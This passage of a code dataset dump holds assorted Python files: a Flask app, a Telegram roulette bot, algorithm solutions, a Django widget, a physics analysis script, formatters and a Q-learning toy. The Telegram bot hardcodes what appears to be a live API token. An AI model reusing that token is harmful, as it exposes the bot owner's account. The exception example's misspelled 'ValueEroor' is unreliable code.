init_db(DATABASE_URI)\n        # Initialize zap\n        start_zap()\n\n        # Register Blueprints\n        register_blueprints(app)\n\n    return app\n\n\ndef init_app():\n    # Create folders\n    create_folders()\n\n    # Initialise logger\n    init_logger()\n\n    # Initialize file cache\n    init_cache()\n\n    # Initialize app for dev/production\n    if __name__ == \"__main__\":\n        setup_flask_app()\n    else:\n        setup_gunicorn_app()\n\n\ndef shutdown_app():\n    \"\"\"\n    Shutdown app\n    \"\"\"\n    logger.info(\"Shutting down app...\")\n\n    logger.info(\"Terminating zap...\")\n\n    # Shutdown zap\n    shutdown_zap()\n\n    # Get threads from threadpool. Uncomment when threadpool handler ready\n    # for thread in threads:\n    #     thread.join()\n    # print(\"Threads complete, ready to finish\")\n\n\natexit.register(shutdown_app)\n\n\ndef setup_flask_app():\n    \"\"\"\n    Use this if using flask server directly. Or launch via gunicorn\n    \"\"\"\n    app.config.from_object(\"config.DevConfig\")\n    DATABASE_URI = app.config[\"DATABASE_URI\"]\n\n    # Register Blueprints\n    register_blueprints(app)\n\n    logger.info(\"Starting Flask App server...\")\n    t = threading.Thread(target=lambda: app.run(debug=True, use_reloader=False))\n    t.setDaemon(True)\n    t.start()\n\n    with app.app_context():\n\n        # Initialize database\n        init_db(DATABASE_URI)\n        # Initialize zap\n        start_zap()\n\n    try:\n        while True:\n            # Keeping the main thread alive! So that when interrupt hits, child threads also exit gracefully\n            time.sleep(1)\n\n    except KeyboardInterrupt:\n        logger.info(\"Exiting App...\")\n        exit(0)\n\n\ndef register_blueprints(app):\n    app.register_blueprint(auth_bp)\n    app.register_blueprint(discovery_bp)\n    app.register_blueprint(validate_bp)\n    app.register_blueprint(run_bp)\n\n\ninit_app()\n","repo_name":"shashank90/apihq","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"41584547104","text":"import random\nimport telebot\nfrom telebot import types\n\nimport subprocess\nbot = telebot.TeleBot('5805755420:AAGj9XSsRq8XlbE-yfO01mj7zz5AjYbb2vY')\nlvl = 1\nbarrel = [1, 2, 3, 4, 5, 6]\nloaded_barrel = []\n\n\n@bot.message_handler(content_types=['text'])\ndef start(message):\n    global barrel\n    global loaded_barrel\n    global lvl\n\n\n    if message.text == 'Русская рулеточка':\n        set_default_values()\n        markup_start = types.ReplyKeyboardMarkup(resize_keyboard=True)\n        item_start = types.KeyboardButton('Начать игру!')\n        markup_start.add(item_start)\n        bot.send_message(message.from_user.id, 'Добро пожаловать!', reply_markup=markup_start)\n\n    elif message.text == 'Начать игру!':\n        markup1 = types.ReplyKeyboardMarkup(resize_keyboard=True)\n        item1 = types.KeyboardButton('1')\n        item2 = types.KeyboardButton('2')\n        item3 = types.KeyboardButton('3')\n        item4 = types.KeyboardButton('4')\n        item5 = types.KeyboardButton('5')\n        item6 = types.KeyboardButton('6')\n        markup1.add(item1, item2, item3, item3, item4, item5, item6)\n        msg = bot.send_message(message.from_user.id, 'Выберите уровень сложности(1-6): ', reply_markup=markup1)\n        bot.register_next_step_handler(msg, set_lvl)\n\n    elif message.text == 'С БОГОМ!(крутануть)':\n        flag = is_alive()\n        if flag:\n            bot.send_message(message.from_user.id, 'КТО Ж ЗНАЛ...')\n        else:\n            bot.send_message(message.from_user.id, 'КАК ЗАНОВО РОДИЛСЯ!')\n\n    elif message.text == 'Крутить больше некому':\n        markup_start = types.ReplyKeyboardMarkup(resize_keyboard=True)\n        item_start = types.KeyboardButton('/start')\n        item_stop = types.KeyboardButton('Хватит')\n        markup_start.add(item_start, item_stop)\n        bot.send_message(message.from_user.id, 'А может еще по одной?', reply_markup=markup_start)\n\n\n\n\n\n\n\n\ndef set_default_values():\n    global barrel\n    global loaded_barrel\n\n    barrel = [1, 2, 3, 4, 5, 6]\n    loaded_barrel = []\n\ndef set_lvl(message):\n    if message.text == '1':\n        k = 1\n        load_barrel(k)\n    elif message.text == '2':\n        k = 2\n        load_barrel(k)\n    elif message.text == '3':\n        k = 3\n        load_barrel(k)\n    elif message.text == '4':\n        k = 4\n        load_barrel(k)\n    elif message.text == '5':\n        k = 5\n        load_barrel(k)\n    elif message.text == '6':\n        k = 6\n        load_barrel(k)\n\n    markup2 = types.ReplyKeyboardMarkup(resize_keyboard=True)\n    item1 = types.KeyboardButton('С БОГОМ!(крутануть)')\n    item2 = types.KeyboardButton('Крутить больше некому')\n    markup2.add(item1, item2)\n    bot.send_message(message.from_user.id, 'Крутите барабан! ', reply_markup=markup2)\n\ndef load_barrel(lvl):\n    global barrel\n    global loaded_barrel\n\n    for i in range(int(lvl)):\n        temp = random.choice(barrel)\n        loaded_barrel.append(temp)\n        barrel.remove(temp)\n\ndef is_alive():\n    global barrel\n    global loaded_barrel\n\n    destiny = random.randint(1, 6)\n\n    if destiny in loaded_barrel:\n        loaded_barrel.remove(destiny)\n        return True\n    return False\n\nif __name__ == '__main__':\n    bot.polling(none_stop=True, interval=0)","repo_name":"importage/bbso-02-21_Sevastyanov.K.A","sub_path":"rus_roulette_bot.py","file_name":"rus_roulette_bot.py","file_ext":"py","file_size_in_byte":3401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"17965728521","text":"# top k frequent elements\nfrom heapq import heappop, heappush, heapify\nimport collections\n\nclass Solution:\n    def topKFrequent(self, nums, k):    \n        hashmap = collections.defaultdict(int)\n\n        for num in nums:\n            hashmap[num] += 1\n\n        pairs = []\n        \n        # turn key,val into tuples \n        for key,val in hashmap.items():\n            pairs.append((key,val))\n        \n        pairs.sort(key=lambda tuple: -tuple[1])\n\n        return [pairs[i][0] for i in range(k)]\n\n    \n#Input: nums = [1,1,1,2,2,3], k = 2\n#Output: [1,2]\n\nnums = [1,1,1,1,1,1,1,2,2,2,2,3,3]\nk = 2\n\n\nclass BetterSolution:\n    def topKFrequent(self, nums, k):\n        hashmap = collections.defaultdict(int)\n\n        for num in nums:\n            hashmap[num] += 1\n\n        heap = []\n        heapify(heap)\n\n        for key,val in hashmap.items():\n            # modification to turn it into maxheap, since by default heap is minheap in python\n            heappush(heap, (-1*val,key))\n        \n        \n        ans = []\n        for i in range(k):\n            (val,key) = heappop(heap)\n            ans.append(key)\n        \n        return ans\n            \n\n\nbetterSolution = BetterSolution()\nbetterRes = betterSolution.topKFrequent(nums, k)\nprint(betterRes)","repo_name":"ericlee0112/interviewprep","sub_path":"arrays/347.py","file_name":"347.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"73745983838","text":"from django.utils.html import conditional_escape, format_html, html_safe\nfrom django.utils.safestring import mark_safe\nfrom django.utils.encoding import (\n    force_str, force_text, python_2_unicode_compatible,\n)\nfrom django.forms.utils import flatatt, to_current_timezone\nfrom itertools import chain\n\nfrom django.forms import SelectMultiple\n\nclass MultipleSearch(SelectMultiple):\n\tclass Media:\n\t\tcss = {\n\t\t\t'all' : ('css/hashtags.css',)\n\t\t}\n\t\tjs = ('js/hashtags.js',)\n\n\titem_holder_html = u'''<div class=\"hashtags_widget\" \n\tdata-search-url=\"{search}\" data-create-url=\"{create}\">\n\t<div class=\"form-group__tags\">{tags}</div>\n\t<div class=\"btn-group btn-group__tags btn-group-justified\">\n\t\t<div class=\"btn-group btn-group__large\">\n\t\t\t<input type=\"text\" value=\"\" data-action=\"findTag\" \n\t\t\t\tautocomplete=\"off\" class=\"form-control\">\n\t\t</div>\n\t\t<div class=\"btn-group btn-group__small\">\n\t\t\t<a class=\"btn btn-success glyphicon glyphicon-plus\" \n\t\t\t\tdata-action=\"addTag\" href=\"javascript:void(0);\"></a>\n\t\t</div>\n\t</div>\n\t<div class=\"form-group__result\"></div>\n\t<div class=\"form-group__list\"></div></div>'''\n\n\n\titem_html = u'''<span class=\"label label-primary {id}\" \n\tdata-hashtag=\"{pk}\">{title}<a href=\"javascript:void(0);\" \n\tclass=\"glyphicon glyphicon-remove\"></a>{input}</span>'''\n\n\tsearch_url = None\n\tcreate_url = None\n\n\tdef render(self, name, value, attrs=None, choices=()):\n\t\tif value is None:\n\t\t\tvalue = []\n\t\tfinal_attrs = self.build_attrs(attrs, type='hidden', name=name)\n\t\tid_ = final_attrs.get('id')\n\t\tinputs = []\n\t\t\n\t\tvalue = set(force_text(v) for v in value)\n\n\t\tfor option_value, option_label in chain(self.choices, choices):\n\t\t\toption_value = force_text(option_value)\n\t\t\tif option_value in value:\n\t\t\t\tinput_attrs = dict(value=option_value, **final_attrs)\n\t\t\t\tinput_attrs['id'] = '%s_%s' % (id_, option_value)\n\t\t\t\tinput_hidden = format_html('<input{} />', flatatt(input_attrs))\n\n\t\t\t\tinputs.append(format_html(self.item_html, id=input_attrs['id'],\n\t\t\t\t\ttitle=option_label, input=input_hidden, pk=option_value))\n\t\t\t\t\t\t\t\t\n\t\treturn format_html(self.item_holder_html,\n\t\t\t\t\ttags=mark_safe('\\n'.join(inputs)), search=self.search_url,\n\t\t\t\t\tcreate=self.create_url)","repo_name":"anton-nikiforov/home-bookkeeping-django","sub_path":"main/forms/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"72956348317","text":"\nfrom starter2 import *\nimport looper2\nimport matplotlib.image as mpimg\nfrom scipy.spatial import ConvexHull\nimport matplotlib.patches as patches\nimport data_locations as dl\nimport convex_hull_tools as CHT\nreload(CHT)\nimport time\nreload(trackage)\n\nbucket={}\nclass small_snapshot():\n    def __init__(self, particle_ids=None, core_ids=None, frames=None, field_dict=None,times=None):\n        self.ind=particle_ids\n        self.core_ids=core_ids\n        self.frame=frames\n        self.field_values=field_dict\n        self.time = times\n\nclass box_of_rain():\n    def __init__(self):\n        self.cores_used=[]\n        self.mass_total_hull=[]\n        self.mass_other_ones=[]\n    def write(self,fname):\n        fptr=h5py.File(fname,'w')\n        fptr['cores_used']=self.cores_used\n        fptr['mass_total_hull']=self.mass_total_hull\n        fptr['mass_other_ones']=self.mass_other_ones\n        fptr.close()\n    def read(self,fname):\n        fptr=h5py.File(fname,'r')\n        self.cores_used      =fptr['cores_used'][()]     \n        self.mass_total_hull =fptr['mass_total_hull'][()]\n        self.mass_other_ones =fptr['mass_other_ones'][()]\n        fptr.close()\n\ndef find_other_ones(new_name, hull_tool,big_loop=None,core_list=None,frame=0, superset=None, add_sphere=False):\n    this_loop=hull_tool.this_looper\n    if big_loop is None:\n        big_loop = this_loop.big_loop\n    oms = big_loop.ms\n\n    this_nframe = np.where(this_loop.tr.frames==frame)[0][0]\n    big_frame = np.where(big_loop.tr.frames==frame)[0][0]\n    big_density = big_loop.tr.c([0],'density')[:,big_frame]\n    big_cell_volume = big_loop.tr.c([0],'cell_volume')[:,big_frame]\n\n    if core_list is None:\n        core_list = this_loop.core_list\n\n    new_looper = looper2.core_looper2(directory= this_loop.directory,\n                             sim_name = new_name,\n                             out_prefix = new_name,\n                             target_frame = this_loop.target_frame,\n                             frame_list = big_loop.frame_list,\n                             core_list =  core_list,\n                             fields_from_grid=big_loop.fields_from_grid,\n                             derived = None, #KLUDGE this is going to be a problem later I fear.\n                             do_shift=False\n                            )\n\n    box = box_of_rain()\n    for core_id in core_list:\n        box.cores_used.append(core_id)\n        print(\"Find Otherones c%04d\"%core_id)\n        ms = trackage.mini_scrubber(this_loop.tr, core_id, do_velocity=False)\n        print('   ms done')\n        this_hull_points = hull_tool.points_3d[core_id]\n        all_particles = big_loop.target_indices\n        print(\"FRAME\", frame)\n        all_points = np.column_stack( [oms.this_x[:,big_frame], oms.this_y[:,big_frame], oms.this_z[:,big_frame]])\n\n        #cut out the region of interest.  Doesnt help that much.\n        this_min = this_hull_points.min(axis=0)\n        this_max = this_hull_points.max(axis=0)\n        #print('kludge')\n        #this_min/=4\n        #this_max/=4\n        ok = ((all_points >= this_min)*(all_points <= this_max)).all(axis=1)\n\n        #do the work.  Wrap it with a timer\n        t0=time.time()\n\n        print('   do hull on %d particles'%ok.sum())\n        mask_ok = CHT.in_hull( all_points[ok], this_hull_points)\n\n        #the first mask, ok , cuts out particle that are unrelated.\n        #the second mask, mask_ok, is the selection we want out of this subset.\n        #mask[mask]*=mask_ok updates the first mask with the second mask.\n        mask = copy.copy(ok)\n        mask[mask] *= mask_ok\n\n        found_particles = all_particles[mask]\n\n        box.mass_total_hull.append((big_density[mask]*big_cell_volume[mask]).sum())\n\n        t1=time.time()\n        print(\"   time \", t1-t0)\n\n        \n        #Remove core particles from found particles.  \n        #Core particles defined the hull.  found particles are everything.\n        #We want to know about the OtherOnes.\n        #PA = all particles\n        #P1 = PA[mask] = particles in hull\n        #Pc = core particles and neighbors\n        #Po = P1 - Pc (Pc contains particles not in Pi, this is fine.)\n        #Pcc = P1 intersect Pc (all the core+neighbor particles in the hull)\n        #PB = [Po] + [Pcc] Make one long array\n        #BB = [T]  + [F]   A boolean array along side Pb\n        #S1 = Sort(P1)\n        #R1 = Sort(S1) #return sort for P1\n        #mask contains all particles in the hull.  Turn off the core particles\n        # Sort(P1) parallels Sort(BB).  \n        # Since P1 may not be sorted, sort BB like P1 with R1\n        # mask[mask] *= BB[S1][R1] first sort BB, then sort like P1.\n\n        #this_particles = this_loop.target_indices[ core_id]\n        this_particles=this_loop.tr.particle_ids[ this_loop.tr.core_ids == core_id]\n\n        if superset is not None:\n            my_superset=superset.set_by_core[core_id]\n            for other_core in superset.supersets[my_superset]:\n                other_particles=this_loop.tr.particle_ids[ this_loop.tr.core_ids == other_core]\n                this_particles = np.concatenate([this_particles, other_particles])\n\n        if add_sphere:\n            t0=time.time()\n            print('sphere')\n            ds = big_loop.load(frame)\n            c = nar([ms.mean_x[this_nframe], ms.mean_y[this_nframe], ms.mean_z[this_nframe]])\n            sphere = ds.sphere(c, 1/128)\n            new_particles = sphere['particle_index'].v.astype('int')\n            all_set = set(all_particles)\n            new_set = set(new_particles)\n            others = all_set - new_set\n            sphere_mask = np.concatenate([np.ones( len(new_set), dtype='bool'),\n                                          np.zeros( len(others), dtype='bool')])\n            sphere_ids = np.concatenate([nar(list(new_set)),nar(list(others))])\n            sort_both = np.argsort(sphere_ids)\n            all_sort = np.argsort(all_particles)\n            all_back = np.argsort(all_sort)\n            keepers = sphere_mask[sort_both][all_back]\n            print(keepers.sum(), new_particles.size,\"HEY YA\")\n            print(\"HEY\", mask.sum())\n            mask = mask | keepers\n            print(\"HEY\", mask.sum())\n\n            found_particles = np.unique(np.concatenate( [found_particles, new_particles]))\n            \n\n            t1=time.time()\n            print('sphere done ', t1-t0)\n\n        if 1:\n            #Remove Core particles from Otherones\n            this_set = set(this_particles)\n            found_set = set(found_particles)\n            print(\"What we got: %d this %d found\"%(len(this_set),len(found_set)))\n            this_only = found_set.intersection(this_set)\n            otherones = found_set - this_only\n            otherones_mask = np.concatenate([np.ones(len(otherones),dtype='bool'), \n                                             np.zeros(len(this_only),dtype='bool')])\n            particles_both = np.concatenate([nar(list(otherones)), nar(list(this_only))])\n            sort_both = np.argsort(particles_both)\n            sort1 = np.argsort(found_particles)\n            sort_back = np.argsort(sort1) \n            mask[ mask] *= otherones_mask[sort_both][sort_back]\n\n        if mask.sum() > 0:\n            box.mass_other_ones.append((big_density[mask]*big_cell_volume[mask]).sum())\n            otherone_particle_ids = all_particles[mask]\n            otherone_core_ids = np.ones_like(otherone_particle_ids,dtype='int')*core_id\n            otherone_field_values={}\n            for field in big_loop.tr.track_dict:\n                otherone_field_values[field]=big_loop.tr.track_dict[field][mask,:]\n            snap = small_snapshot(particle_ids=otherone_particle_ids,\n                                  core_ids=otherone_core_ids,\n                                  frames=big_loop.tr.frames,\n                                  times = big_loop.tr.times,\n                                  field_dict=otherone_field_values)\n            if new_looper.tr is None:\n                new_looper.tr = trackage.track_manager(new_looper)\n            new_looper.tr.ingest(snap)\n        else:\n            new_looper=None\n    #box.mass_other_ones = nar(box.mass_other_ones)\n    #box.mass_total_hull = nar(box.mass_total_hull)\n    #new_looper.box = box\n    return new_looper\n","repo_name":"dcollins4096/p19_newscripts","sub_path":"other_particles/otherones.py","file_name":"otherones.py","file_ext":"py","file_size_in_byte":8222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"20884636639","text":"import sys\n\ntry:\n    file = open('myfile.txt')\n    s = file.readline()\n    i = int(s.strip())\nexcept  IOError as e:\n    print(\"I/O Error({0}): {1}\".format(e.errno, e.strerror)) #these values at the end insert the error specifics into the error message\nexcept ValueEroor:\n    print(\"Could not convert data to integer\")\nexcept:\n    print (\"unexpected error\", sys.exc_info()[0])\n    raise\nfinally:    #Finally will be executed after any try block. This is crucial for any clean up actions (close files/ databases)\n    print(\"goodbye cruel world!\")\n","repo_name":"BlackWiddow-NZ/Stack-Skills-Courses","sub_path":"ZeroToOne/venv/Scripts/MultipleExceptionExample.py","file_name":"MultipleExceptionExample.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"73544079198","text":"#!/usr/bin/python3\n\nimport sys\nimport unittest\nfrom collections import OrderedDict\nfrom coreference import CoreferenceResolver\n\nport = None\n\nclass CoreferenceResolverTest(unittest.TestCase):\n    def setUp(self):\n        self.coref = CoreferenceResolver(port)\n\n    def testReplaceTokens(self):\n        tokens = OrderedDict([(0, 'zero'), (1, 'one'), (2, 'two'), (3, 'three'), (4, 'four')])\n\n        tokens = self.coref.replace_tokens(tokens, 'foo', 1, 3)\n        self.assertEqual(OrderedDict([(0, 'zero'), (1, 'foo'), (3, 'three'), (4, 'four')]), tokens)\n\n        tokens = self.coref.replace_tokens(tokens, 'bar', 3, 5)\n        self.assertEqual(OrderedDict([(0, 'zero'), (1, 'foo'), (3, 'bar')]), tokens)\n\n    def testResolve(self):\n        text = '''\n        Bill Clinton was governor of his home state of Arkansas. From humble beginnings he rose to the highest office in the land. Clinton was involved in a private affair with someone he knew.\n        '''\n\n        expected = [\n            'Bill Clinton was governor of his home state of Arkansas .',\n            'From humble beginnings Bill Clinton rose to the highest office in the land .',\n            'Bill Clinton was involved in a private affair with someone he knew .'\n        ]\n        s = self.coref.resolve(text)\n        self.assertEqual(expected, s)\n\nif __name__ == '__main__':\n    if len(sys.argv) < 2:\n        print('Usage: {} port'.format(sys.argv[0]))\n        exit()\n    port = sys.argv[1]\n    del sys.argv[1:]\n    unittest.main()\n","repo_name":"austin226/ling573","sub_path":"src/test_coref.py","file_name":"test_coref.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"40179823716","text":"import re\n\nfrom itertools import product as iter_product\nfrom string import Formatter\nfrom typing import List, Dict, Tuple, Union, Any, Set\n\nimport snakemake.utils  # type: ignore\n\n\nclass FormattingError(AttributeError):\n    def __init__(self, message: str, fieldname: str) -> None:\n        super().__init__(message)\n        self.attr = fieldname\n\n\nclass GetNameFormatter(Formatter):\n    def get_names(self, pattern: str):\n        for val in self.parse(pattern):\n            if val[1] is not None:\n                yield val[1]\n\n\nclass OverrideJoinFormatter(Formatter):\n    \"\"\"Formatter with overridable join method\n\n    The default formatter joins all arguments with\n    ``\"\".join(args)``. This class overrides :meth:`_vformat` with\n    identical code, changing only that line to one that can be\n    overridden by a derived class.\n    \"\"\"\n\n    def _vformat(\n            self,\n            format_string: str,\n            args: List,\n            kwargs: Dict,\n            used_args,\n            recursion_depth: int,\n            auto_arg_index: int = 0,\n    ) -> Tuple[Union[List[str], str], int]:\n        # pylint: disable=too-many-arguments\n        if recursion_depth < 0:\n            raise ValueError('Max string recursion exceeded')\n        result = []\n        for literal_text, field_name, format_spec, conversion in \\\n                self.parse(format_string):\n\n            # output the literal text\n            if literal_text:\n                result.append(literal_text)\n\n            # if there's a field, output it\n            if field_name is not None:\n                # this is some markup, find the object and do\n                #  the formatting\n\n                # handle arg indexing when empty field_names are given.\n                if field_name == '':\n                    if auto_arg_index is False:\n                        raise ValueError('cannot switch from manual field '\n                                         'specification to automatic field '\n                                         'numbering')\n                    field_name = str(auto_arg_index)\n                    auto_arg_index += 1\n                elif field_name.isdigit():\n                    if auto_arg_index:\n                        raise ValueError('cannot switch from manual field '\n                                         'specification to automatic field '\n                                         'numbering')\n                    # disable auto arg incrementing, if it gets\n                    # used later on, then an exception will be raised\n                    auto_arg_index = False\n\n                # given the field_name, find the object it references\n                #  and the argument it came from\n                obj, arg_used = self.get_field(field_name, args, kwargs)\n                used_args.add(arg_used)\n\n                # do any conversion on the resulting object\n                obj = self.convert_field(obj, conversion)\n\n                # expand the format spec, if needed\n                format_spec, auto_arg_index = self._vformat(\n                    format_spec, args, kwargs,\n                    used_args, recursion_depth-1,\n                    auto_arg_index=auto_arg_index)\n\n                result.append(self.format_field(obj, format_spec))\n\n        return self.join(result), auto_arg_index\n\n    def join(self, args: List[str]) -> Union[List[str], str]:\n        # pylint: disable=no-self-use\n        \"\"\"\n        Joins the expanded pieces of the template string to form the output.\n\n        This function is equivalent to ``''.join(args)``. By overriding it,\n        alternative methods can be implemented, e.g. to create a list of\n        strings, each corresponding to a the cross product of the expanded\n        variables.\n        \"\"\"\n        return ''.join(args)\n\n\nclass ProductFormatter(OverrideJoinFormatter):\n    \"\"\"\n    String Formatter that creates a list of strings each expanded using\n    one point in the cartesian product of all replacement values.\n\n    If none of the arguments evaluate to lists, the result is a string,\n    otherwise it is a list.\n\n    >>> ProductFormatter().format(\"{A} and {B}\", A=[1,2], B=[3,4])\n    \"1 and 3\"\n    \"1 and 4\"\n    \"2 and 3\"\n    \"2 and 4\"\n    \"\"\"\n    def join(self, args: List[Any]) -> Union[List[str], str]:\n        # expand everything that isn't a string to a list\n        args = [[item] if isinstance(item, str) else list(item)\n                for item in args]\n        # combine items into list corresponding to cartesian product\n        res = [''.join(flat_args) for flat_args in iter_product(*args)]\n\n        if len(res) > 1:\n            return res\n\n        if res:\n            return res[0]\n\n        return ''\n\n    def format_field(self, value, format_spec: str):\n        if hasattr(value, '__iter__') and not isinstance(value, str):\n            return (format(item) for item in value)\n        return format(value, format_spec)\n\n\nclass RegexFormatter(Formatter):\n    \"\"\"\n    String Formatter accepting a regular expression defining the format\n    of the expanded tags.\n    \"\"\"\n    def __init__(self, regex: Union[str, Any]) -> None:\n        super().__init__()\n        if isinstance(regex, str):\n            self.regex = re.compile(regex)\n        else:\n            self.regex = regex\n\n    def parse(self, format_string: str):\n        \"\"\"\n        Parse format_string into tuples. Tuples contain\n        literal_text: text to copy\n        field_name: follwed by field name\n        format_spec:\n        conversion:\n        \"\"\"\n        if format_string is None:\n            return\n\n        start = 0\n        for match in self.regex.finditer(format_string):\n            yield (format_string[start:match.start()],  # literal text\n                   match.group('name'),                 # field name\n                   '',                                  # format spec\n                   None)                                # conversion\n            start = match.end()\n\n        # yield text at end of format_string\n        yield (format_string[start:],\n               None, None, None)\n\n    def get_names(self, format_string: str) -> Set[str]:\n        \"\"\"Get set of field names in format_string)\"\"\"\n        return set(match.group('name')\n                   for match in self.regex.finditer(format_string))\n\n\nclass QuotedElementFormatter(snakemake.utils.SequenceFormatter):\n    def __init__(self, *args, **kwargs) -> None:\n        super().__init__(*args, **kwargs)\n        self.element_formatter = snakemake.utils.QuotedFormatter()\n\n\nclass PartialFormatter(Formatter):\n    \"\"\"\n    Formats what it can and leaves the remainder untouched\n    \"\"\"\n\n    def get_field(self, field_name, args, kwargs):\n        try:\n            val = super().get_field(field_name, args, kwargs)\n            if type(val[0]).__name__ == \"function\":\n                raise IndexError()\n            return val\n        except (KeyError, IndexError, TypeError):\n            return getattr(self, \"spec\", \"{{{}}}\").format(field_name), None\n\n\ndef make_formatter(\n        product=None,\n        regex=None,\n        partial=None,\n        quoted=None\n) -> Formatter:\n    formatter = 1\n    types: 'List[type]' = []\n    class_name = \"\"\n    class_dict = {}\n    for arg, cls, name in (\n            (product, ProductFormatter, 'Product'),\n            (regex, RegexFormatter, 'Regex'),\n            (partial, PartialFormatter, 'Partial'),\n            (quoted, QuotedElementFormatter, 'QuotedElement'),\n            (formatter, GetNameFormatter, 'Formatter')\n             ):\n        if arg is not None:\n            types += [cls]\n            class_name += name\n            if not isinstance(arg, int):\n                class_dict[name.lower()] = arg\n    return type(class_name, tuple(types), {})(**class_dict)\n","repo_name":"epruesse/ymp","sub_path":"src/ymp/string.py","file_name":"string.py","file_ext":"py","file_size_in_byte":7731,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"51"}
+{"seq_id":"568640411","text":"# Complexity: O(nlogn) in time because of sorting and O(1) space\ndef containsDuplicateBySort(nums):\n    nums.sort()\n    for i in range(len(nums) -1):\n        if nums[i] == nums[i+1]:\n            return True\n    return False\n\n\n# Complexity: O(n) time and O(n) space\ndef containsDuplicateByUsingSet(nums):\n    seen = set()\n    for num in nums:\n        if num in seen:\n            return True\n        seen.add(num)\n    return False\n\nprint(containsDuplicateBySort([1,2,3,1]))  # True\nprint(containsDuplicateBySort([1,2,3,4])) # False\nprint(containsDuplicateBySort([1,1,1,3,3,4,3,2,4,2])) # True\n\nprint(containsDuplicateByUsingSet([1,2,3,1])) # True\nprint(containsDuplicateByUsingSet([1,2,3,4])) # False\nprint(containsDuplicateByUsingSet([1,1,1,3,3,4,3,2,4,2])) #True\n\n\n","repo_name":"dbisiw07/GhanaCompetitiveProgramming","sub_path":"contains_duplicate.py","file_name":"contains_duplicate.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"75450209439","text":"import numpy as np\n\n# Define the Q-learning function\ndef q_learning(maze, episodes):\n    # Initialize Q-values and rewards\n    q_values = np.zeros((len(maze), len(maze[0])))\n    rewards = [[-1,-1,-1,-1], [-1,-1,-1,-1], [-1,-1,-1,-1], [-1,-1,-1,-1]]\n    rewards[3][3] = 100\n    # Set the learning rate and discount factor\n    alpha = 0.8\n    gamma = 0.95\n\n    for episode in range(episodes):\n        # Initialize starting position and step counter\n        current_pos = [0, 0]\n        steps = 0\n        while current_pos != [3, 3]:\n            steps += 1\n            # Select the next move\n            next_pos = [current_pos[0] + np.random.choice([-1, 0, 1]), current_pos[1] + np.random.choice([-1, 0, 1])]\n            if next_pos[0] < 0 or next_pos[0] > 3 or next_pos[1] < 0 or next_pos[1] > 3:\n                continue\n            if maze[next_pos[0]][next_pos[1]] == 1:\n                continue\n            # Update the Q-value for the current position\n            q_values[current_pos[0]][current_pos[1]] += alpha * (rewards[next_pos[0]][next_pos[1]] +\n                                                               gamma * np.max(q_values[next_pos[0], next_pos[1]]) -\n                                                               q_values[current_pos[0]][current_pos[1]])\n            current_pos = next_pos\n    return q_values\n\n# Define the maze\nmaze = [[0, 0, 0, 0],\n        [0, 1, 1, 0],\n        [0, 1, 1, 0],\n        [0, 0, 0, 0]]\n\n# Run Q-learning algorithm\nq_values = q_learning(maze, 1000)\nprint(q_values)\n\n\"\"\"\nThe result :\n\n[[19.71141157 28.24876089 27.98971205 30.00472121]\n [ 4.56202823  0.          0.         57.74111432]\n [-3.12494445  0.          0.         92.55598594]\n [ 3.52768312 -3.53521697 18.28058332  0.        ]]\n\"\"\"\n","repo_name":"hwangjuntae/reinforce_learning","sub_path":"q_learning.py","file_name":"q_learning.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"7345153870","text":"from .BasicModule import BasicModule\r\nfrom tqdm import tqdm\r\nfrom sentence_transformers import SentenceTransformer\r\nimport time\r\nfrom datasets import Dataset\r\n\r\nclass DuplicateNewsDetectorModule(BasicModule):\r\n    def erase_duplicated_single_row(self, grouped_dataset : Dataset):\r\n        duplicated_idxs = []\r\n        for i in range(len(grouped_dataset)):\r\n            for j in range(i):\r\n                if i==j : continue\r\n                if grouped_dataset[i]['title'] == grouped_dataset[j]['title']:\r\n                    duplicated_idxs.append(j)\r\n\r\n        duplicated_idxs = list(set(duplicated_idxs))\r\n        erased_dataset = grouped_dataset.filter(lambda example, idx: idx not in duplicated_idxs, with_indices=True)\r\n        return erased_dataset\r\n\r\n    def erase_similar_single_row(self, dup_erased_articles, threshold=0.35):\r\n        if len(dup_erased_articles)==1: return dup_erased_articles, {}\r\n\r\n        # Compute embeddings\r\n        if self.lang=='KOR':\r\n            embeddings = self.model.encode(dup_erased_articles['text'], convert_to_tensor=True)\r\n        else:\r\n            embeddings = self.model.encode(dup_erased_articles['title'], convert_to_tensor=True)\r\n\r\n        from sklearn.cluster import DBSCAN\r\n        embeddings_np = embeddings.cpu().numpy()\r\n        dbscan = DBSCAN(eps=threshold, min_samples=1, metric='cosine')\r\n        dbscan.fit(embeddings_np)\r\n\r\n        # Create clusters\r\n        from collections import defaultdict\r\n        clusters = defaultdict(list)\r\n        for idx, label in enumerate(dbscan.labels_):\r\n            clusters[label].append(idx)\r\n\r\n        processed_clusters=[]\r\n        erase_target = []\r\n        for key in clusters.keys():\r\n            temp = clusters[key].copy()\r\n            repre = temp.pop(0)\r\n            if len(temp)>0:\r\n                processed_clusters.append({'representative': [[dup_erased_articles['original_index'][repre]],dup_erased_articles['title'][repre]],\r\n                                           'others': [[temp],dup_erased_articles.select(temp)['title']]})\r\n                erase_target += temp\r\n            else:\r\n                processed_clusters.append({'representative' : [[],dup_erased_articles['title'][repre]], 'others' : []})\r\n\r\n\r\n        sim_erased_articles = dup_erased_articles.filter(lambda row, idx: idx not in erase_target, with_indices=True)\r\n\r\n        return 